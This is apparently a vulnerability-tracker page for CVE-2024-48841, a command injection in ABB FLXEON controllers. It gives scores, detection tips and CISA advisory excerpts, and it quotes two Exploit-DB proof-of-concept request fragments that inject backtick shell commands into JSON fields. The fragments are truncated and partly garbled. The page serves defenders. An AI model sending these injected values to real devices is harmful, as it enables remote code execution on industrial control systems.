CVE-2024-48841
published 2025-01-27CVE-2024-48841: Network access can be used to execute arbitrary code with elevated privileges. This issue affects FLXEON 9.3.4 and older.
PriorityP278critical10CVSS 3.1
AVNACLPRNUINSCCHIHAH
EXPLOIT
EPSS
4.33%
90.0th percentile
Network access can be used to execute arbitrary code with elevated privileges.
This
issue affects FLXEON 9.3.4 and older.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| abb | flxeon | <= 9.3.4 | — |
Detection & IOCsextracted from sources · hover to see the quote
- →Detect command injection attempts in the 'newPassword' field of the password-change API endpoint — look for backtick-enclosed shell commands (e.g., `sleep N`) in JSON POST bodies targeting ABB FLXeon devices. ↗
- →Monitor for HTTP requests carrying the 'user_sid' session cookie to FLXeon management interfaces, particularly when accompanied by JSON payloads containing shell metacharacters (backticks, semicolons, pipes). ↗
- →CVE-2024-48841 is a network-exploitable command injection (CWE-77) with CVSS v4 10.0 and no authentication required (PR:N, UI:N) — prioritize detection on any internet-exposed FLXeon device running firmware 9.3.4 or prior. ↗
- ·The unauthenticated RCE exploit (52186) uses a hardcoded test password 'KAKA' in the oldPassword field; real-world attacks will use valid credentials or exploit the pre-auth path — do not rely solely on this string for detection. ↗
- ·The 'user_sid=xxx' cookie value in the PoC exploits is a placeholder; actual sessions will have a real session ID value — detection rules should match on the cookie name 'user_sid' rather than the literal value 'xxx'. ↗
- ·ABB states these vulnerabilities are only exploitable if attackers can access the network segment where FLXEON is installed and exposed directly to the internet — scope detection accordingly to internet-facing or improperly segmented deployments. ↗
CVSS provenance
nvdv3.110.0CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
nvdv4.010.0CRITICALCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-v9p4-62pm-466x: Network access can be used to execute arbitrary code with elevated privileges
ghsa_unreviewed·2025-01-27
CVE-2024-48841 [CRITICAL] CWE-77 GHSA-v9p4-62pm-466x: Network access can be used to execute arbitrary code with elevated privileges
Network access can be used to execute arbitrary code with elevated privileges.
This
issue affects FLXEON 9.3.4 and older.
CISA ICS
ABB FLXEON Controllers
cisa_ics·2025-02-20·CVSS 10.0
[CRITICAL] ABB FLXEON Controllers
ICS Advisory
##
ABB FLXEON Controllers
Release DateFebruary 20, 2025
Alert CodeICSA-25-051-02
Related topics:
Industrial Control System Vulnerabilities, Industrial Control Systems
View CSAF
## 1. EXECUTIVE SUMMARY
- CVSS v4 10.0
- ATTENTION: Exploitable remotely/low attack complexity
- Vendor: ABB
- Equipment: FLXEON Controllers
- Vulnerabilities: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion'), Missing Origin Validation in WebSockets, Insertion of Sensitive Information into Log File
## 2. RISK EVALUATION
Successful exploitation of these vulnerabilities could allow an attacker to send unauthorized HTTPS requests, access sensitive information from HTTPS responses, or use network access to execute re
No detection rules found.
Exploit-DB
ABB Cylon FLXeon 9.3.4 - Remote Code Execution (RCE)
exploitdb·2025-04-11·CVSS 10.0
CVE-2024-48841 [CRITICAL] ABB Cylon FLXeon 9.3.4 - Remote Code Execution (RCE)
ABB Cylon FLXeon 9.3.4 - Remote Code Execution (RCE)
---
# Exploit title: ABB Cylon FLXeon 9.3.4 - Remote Code Execution (RCE)
# Vendor: ABB Ltd.
# Product web page: https://www.global.abb
# Affected version: FLXeon Series (FBXi Series, FBTi Series, FBVi Series)
CBX Series (FLX Series)
CBT Series
CBV Series
Firmware: -H "Cookie: user_sid=xxx" \
> -H "Content-Type: application/json" \
> --data '{"oldPassword":"KAKA","newPassword":"ZULU`sleep 7`"}'
Exploit-DB
ABB Cylon FLXeon 9.3.4 - Remote Code Execution (Authenticated)
exploitdb·2025-04-11·CVSS 10.0
CVE-2024-48841 [CRITICAL] ABB Cylon FLXeon 9.3.4 - Remote Code Execution (Authenticated)
ABB Cylon FLXeon 9.3.4 - Remote Code Execution (Authenticated)
---
# Exploit Title: ABB Cylon FLXeon 9.3.4 - Remote Code Execution (Authenticated)
# Vendor: ABB Ltd.
# Product web page: https://www.global.abb
# Affected version: FLXeon Series (FBXi Series, FBTi Series, FBVi Series)
CBX Series (FLX Series)
CBT Series
CBV Series
Firmware: -H "Cookie: user_sid=xxx" \
> -H "Content-Type: application/json" \
> -d '{"timeConfig":{"timeDate":{\
> "yy":"`sleep 17`",\
> "mm":"`sleep 17`",\
> "dd":"`sleep 17`",\
> "h":"`sleep 17`",\
> "m":"`sleep 17`",\
> "s":"`sleep 17`"},\
> "tz":"`sleep 17`",\
> "tzList":[],\
> "timeServerYN":"`sleep 17`",\
> "timeServer":"1.1.1.1",\
> "timeServerSync":false}}'
No writeups or analysis indexed.
2025-01-27
Published